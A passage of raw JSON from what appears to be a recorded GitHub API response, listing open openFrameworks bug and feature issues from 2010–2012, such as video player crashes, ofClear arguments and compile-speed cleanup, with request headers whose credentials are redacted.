left","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-11-22T21:30:40Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":433297,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-06-03T19:04:08Z","body":"test if this is really useful:\r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=7&t=4889&view=unread#unread\r\n\r\nhe adds a queue just before the color conversion","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/265","comments":0,"milestone":null,"number":265,"html_url":"https://github.com/openframeworks/openFrameworks/issues/265","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"linux videograbber stopping after some time","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":null,"created_at":"2010-11-18T12:07:46Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":426050,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-19T22:47:21Z","body":"ofClear(r,g,b) is inconsistent with ofBackground(r,g,b) because the alpha is 0 by default -- meaning you always have to explicitly declare the alpha to clear the background.\r\n\r\nfurthermore, because all the arguments have default values there is not/cannot exist an ofClear(gray, alpha) to match ofSetColor style","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/264","comments":5,"milestone":null,"number":264,"html_url":"https://github.com/openframeworks/openFrameworks/issues/264","assignee":null,"title":"ofClear uses inconsistent arguments","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2010-11-18T06:15:47Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":425675,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=13 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4931'), ('content-length', '46291'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"bf7e6718fe6b733d04e77e00e220150f"'), ('date', 'Tue, 29 May 2012 19:27:22 GMT'), ('content-type', 'application/json; charset=utf-8')] [null,{"updated_at":"2011-12-05T21:58:33Z","body":"A lot of OF files are including ofMain / ofConstants.h - this makes compiles super slow. Try to have files only include what they need. Or find a way to break things up into the most often used ( windows.h etc ) and less used. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/255","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":255,"html_url":"https://github.com/openframeworks/openFrameworks/issues/255","assignee":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"title":"COMPILE SPEED UP - cleanup internal includes to avoid ofMain.h and ofConstants.h","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2010-11-11T21:14:05Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":413771,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T20:11:33Z","body":"ofHideCursor()/ofShowCursor()\r\n\r\nofEnableArbTex()\r\nofEnableSetupScreen()\r\nofEnableDataPath()\r\nofEnableAlphaBlending()\r\nofEnableSmoothing()\r\n\r\nofSetFullscreen() + ofToggleFullscreen()\r\nofSetVerticalSync()\r\n\r\netc.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/249","comments":1,"milestone":null,"number":249,"html_url":"https://github.com/openframeworks/openFrameworks/issues/249","assignee":null,"title":"normalize option nomenclature (hide/enable/set/etc.)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2010-11-03T22:52:08Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":399214,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T22:03:41Z","body":"some video to test:\r\n\r\nmmsh://live.camstreams.com/cscamglobal16?MSWMExt=.asf\r\n\r\nit works ok with totem so it should be a problem in ofGstUtils","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/245","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":245,"html_url":"https://github.com/openframeworks/openFrameworks/issues/245","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"gstreamer problems with streaming of microsoft video","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":null,"created_at":"2010-10-13T16:33:06Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":360885,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-03-13T20:13:07Z","body":"I found an annoying bug in ofVideoPlayer.\nThis module do not like to be dynamically created or destroyed.\nCheck this little example :\n\nhttp://knu.free.fr/bug_ofVideoPlayer.zip\n\nLeft-click to create an object playing video.\nRight-click to suppress the last video.\n\nhere are the phenomenons I am facing on my Win7 machine :\n\n- \nIf you create an object, and then you suppress it, and then try to create an object again, the app will crash.\n\n- \nIf you create some objects (lets say 8), and then you suppress all of them, the app will crash before the last one (not always, but most of the time).\n\n\n\nNow in OF source tree, try replacing ofVideoPlayer.cpp with FIX_ofVideoPlayer.cpp (at the root of the zip)\nRebuild the project.\nNow everything should be working as expected.\n\n\nThe modifications I made in the source are marked by : //###############\n\nI do not have time to fully read and understand the quicktime API, so there are chances this workaround is fucking dirty.\nBut at least it seems to work.\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/244","comments":1,"milestone":null,"number":244,"html_url":"https://github.com/openframeworks/openFrameworks/issues/244","assignee":null,"title":"bug in ofVideoPlayer","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2010-10-11T19:56:46Z","state":"open","user":{"url":"https://api.github.com/users/fmauclere","avatar_url":"https://secure.gravatar.com/avatar/1c7dcbab3712f1a4d90bd2c3aa9a3e3d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"1c7dcbab3712f1a4d90bd2c3aa9a3e3d","login":"fmauclere","id":435720},"id":357395,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-10T05:06:06Z","body":"Check out this code - also check if latest ffmpeg is better optimized for iphone.\r\nhttp://github.com/jgh-/FFmpeg-for-iOS","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/240","comments":0,"milestone":null,"number":240,"html_url":"https://github.com/openframeworks/openFrameworks/issues/240","assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"title":"iphone video player - ffmpeg and audioqueues","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-10-06T17:19:57Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":349886,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-10T05:08:56Z","body":"XCode: 3.2.4\nOF: github master @24 Sep 2010\nCompiled as: device base SDK 4.1 release arm7 deployment target 3.2\n\nWeird error: Build ofAudioOutputExample. Add a void testApp::exit() to see if it is called. Run app on ipod touch 2010 version with 4.1 installed.\n\nApp runs OK yet pressing the exit button on front of device quits the app, but xcode keeps running. Digging in a bit it appears not only testApp::exit, but ofExitCallback is not getting called.\n\nSwitch to iPad (no other settings changed) and app runs fine, and exits properly.\n\nSwitch to BaseSDK 3.2 and example runs fine and exits fine on both iPad and iPod.\n\nIdeas? Is this just me? I'm fairly new to OF, XCode and iPhone\n\n[edit]\nOK I worked out that pressing the \"close\" button in 4.1 calls applicationWillResignActive in ofxiPhoneAppDelegate.mm. As a hacky workaround as my app just needs to exit, not sit in background, I added exit(0); to the end of applicationWillResignActive and it seems to work.\n\nWould like to know how to do this properly though.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/236","comments":1,"milestone":null,"number":236,"html_url":"https://github.com/openframeworks/openFrameworks/issues/236","assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"title":"ofExitCallback not being called on iphone4.1?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-09-25T01:55:49Z","state":"open","user":{"url":"https://api.github.com/users/DavidDC","avatar_url":"https://secure.gravatar.com/avatar/a6fdad0c31fcd273a1ba89434fec0419?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"a6fdad0c31fcd273a1ba89434fec0419","login":"DavidDC","id":415101},"id":332379,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-04-19T00:32:33Z","body":"related to #221: texData.bAllocated is only used in the isAllocated method which can be changed from:\r\n\r\n bool ofTexture::bAllocated(){\r\n return texData.bAllocated;\r\n }\r\n\r\nto\r\n\r\n bool ofTexture::bAllocated(){\r\n return texData.textureID!=0;\r\n }\r\n\r\navoiding problems like #221 since we don't have two flags for the same thing","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/228","comments":4,"milestone":null,"number":228,"html_url":"https://github.com/openframeworks/openFrameworks/issues/228","assignee":null,"title":"remove bAllocated in ofTexture?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2010-09-09T14:20:55Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":309191,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T15:45:27Z","body":"Segfault when playing .ogv files on 64 bit linux.\nSee forum post - http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=4582","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/227","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":227,"html_url":"https://github.com/openframeworks/openFrameworks/issues/227","assignee":null,"title":"Ubuntu 64-bit conflict with FMOD when playing ogg theora files","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":null,"created_at":"2010-09-08T14:54:33Z","state":"open","user":{"url":"https://api.github.com/users/pierrep","avatar_url":"https://secure.gravatar.com/avatar/be11c9de8242e7aef0446eceaa289e01?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"be11c9de8242e7aef0446eceaa289e01","login":"pierrep","id":392160},"id":307684,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-08-31T10:54:19Z","body":"It would be nice to have:\r\n\r\n\tconst ofxVec2f xunit2f(1, 0), yunit2f(0, 1);\r\n\tconst ofxVec3f xunit3f(1, 0, 0), yunit3f(0, 1, 0), zunit3f(0, 0, 1);\r\n\r\nOr something similar that allows for more elegant notation when you're multiplying or adding by an axis.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/225","comments":0,"milestone":null,"number":225,"html_url":"https://github.com/openframeworks/openFrameworks/issues/225","assignee":null,"title":"ofxVectorMath constants","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-08-31T10:54:19Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":295913,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-26T18:37:47Z","body":"can this be useful?\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=25&t=4500\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/224","comments":1,"milestone":null,"number":224,"html_url":"https://github.com/openframeworks/openFrameworks/issues/224","assignee":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"title":"gaussian noise","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"}],"closed_at":null,"created_at":"2010-08-26T10:21:24Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":290973,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-10-17T13:58:53Z","body":"ofxOsc causes a memory access violation in VS2008, when you use sendMessage(ofxOscMessage) from within a class.\r\nNo error when you run that from main ofApp","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/214","comments":1,"milestone":null,"number":214,"html_url":"https://github.com/openframeworks/openFrameworks/issues/214","assignee":null,"title":"ofxOsc memory access violation. namespace issue?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-08-04T05:59:22Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":268332,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-14T15:12:26Z","body":"e) get arturo's script to work, or rewrite a new one to just clobber a given directory (and not pull from git, etc as it's doing now). \r\n\r\ntheo - might be good to have two scripts?\r\n1) to pull from git \r\n2) to remove everything not related to a platform - or maybe better just copies the files into a folder for that platform. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/199","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":199,"html_url":"https://github.com/openframeworks/openFrameworks/issues/199","assignee":null,"title":"script that doesn't pull everything from git","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-06-01T13:28:54Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":211418,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-05-25T14:54:52Z","body":"\r\nas per: \r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=8&t=3962&p=20661#p20661\r\n\r\nwe should explain how to use it properly. \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/194","comments":0,"milestone":null,"number":194,"html_url":"https://github.com/openframeworks/openFrameworks/issues/194","assignee":null,"title":"ofGetAppPtr documentation is wrong ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"closed_at":null,"created_at":"2010-05-25T14:54:52Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897},"id":205935,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T21:58:22Z","body":"http://www.glfw.org/release-2.6.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/193","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":193,"html_url":"https://github.com/openframeworks/openFrameworks/issues/193","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"look at glfw - just got updated","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-05-23T21:04:25Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":204247,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T19:20:16Z","body":"I had the L.A.S.E.R. tag software up and running great on my new MacBook Pro but recently my computer did a software update and now something is wrong and I can't properly use the program. I have snow leopard 10.6.3 OS. I'm not totally sure if it was the auto update that caused the issue but it seems like it stopped working after the update. Below I listed the suspected updates. Seems weird to me 2 digital camera RAW updates.\r\n\r\n3/27/10 Digital Camera RAW update 2.7\r\n3/27/10 Safari 4.0.5\r\n3/27/10 Digital Camera RAW update 3.1\r\n3/27/10 iMovie update 8.0.6\r\n\r\n0 com.apple.QuickTime \t0x9408e179 QTMLGrabMutex + 18\r\n1 com.apple.QuickTime \t0x9421b6a3 QTWorkContextCopyForMediaContextID + 28\r\n2 ...uickTimeStreaming.component\t0x14f77c15 HTTPDhlr_CheckForFatalError + 254\r\n3 ...uickTimeStreaming.component\t0x14f77cc6 HTTPDhlr_ReadSYNC + 165\r\n4 ...uickTimeStreaming.component\t0x14f7ab01 HTTPDataHandler_ScheduleData64 + 452\r\n5 ...ple.CoreServices.CarbonCore\t0x949a2d05 callComponentStorage_4444444 + 63\r\n6 ...ple.CoreServices.CarbonCore\t0x949976f0 CallComponentFunctionCommonWithStorage(char**, ComponentParameters*, long (*)(), unsigned long) + 54\r\n7 ...uickTimeStreaming.component\t0x14f784c7 HTTPDataHandler_ComponentDispatch + 110\r\n8 ...ple.CoreServices.CarbonCore\t0x9498fd87 CallComponentDispatch + 29\r\n9 com.apple.QuickTime \t0x94093540 DataHScheduleData64 + 73\r\n10 com.apple.QuickTime \t0x940b5704 NewMovieFromDataRefPriv_priv + 8296\r\n11 com.apple.QuickTime \t0x9419e613 NewMovieFromDataRef_priv + 54\r\n12 com.apple.QuickTime \t0x942fb95e NewMovieFromDataRef + 52\r\n13 com.yourcompany.openFrameworks\t0x0000aa2a createMovieFromURL(std::string, MovieType**&) + 112\r\n14 com.yourcompany.openFrameworks\t0x0000abe2 ofVideoPlayer::loadMovie(std::string) + 182\r\n15 com.yourcompany.openFrameworks\t0x0002fe03 appController::setup() + 2169\r\n16 com.yourcompany.openFrameworks\t0x00002864 ofRunApp(ofSimpleApp*) + 170\r\n17 com.yourcompany.openFrameworks\t0x0003dc06 main + 90\r\n18 com.yourcompany.openFrameworks\t0x00001da2 _start + 216\r\n19 com.yourcompany.openFrameworks\t0x00001cc9 start + 41","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/182","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":182,"html_url":"https://github.com/openframeworks/openFrameworks/issues/182","assignee":null,"title":"ofVideoPlayer - createMovieFromURL broken in 10.6.3 with specific 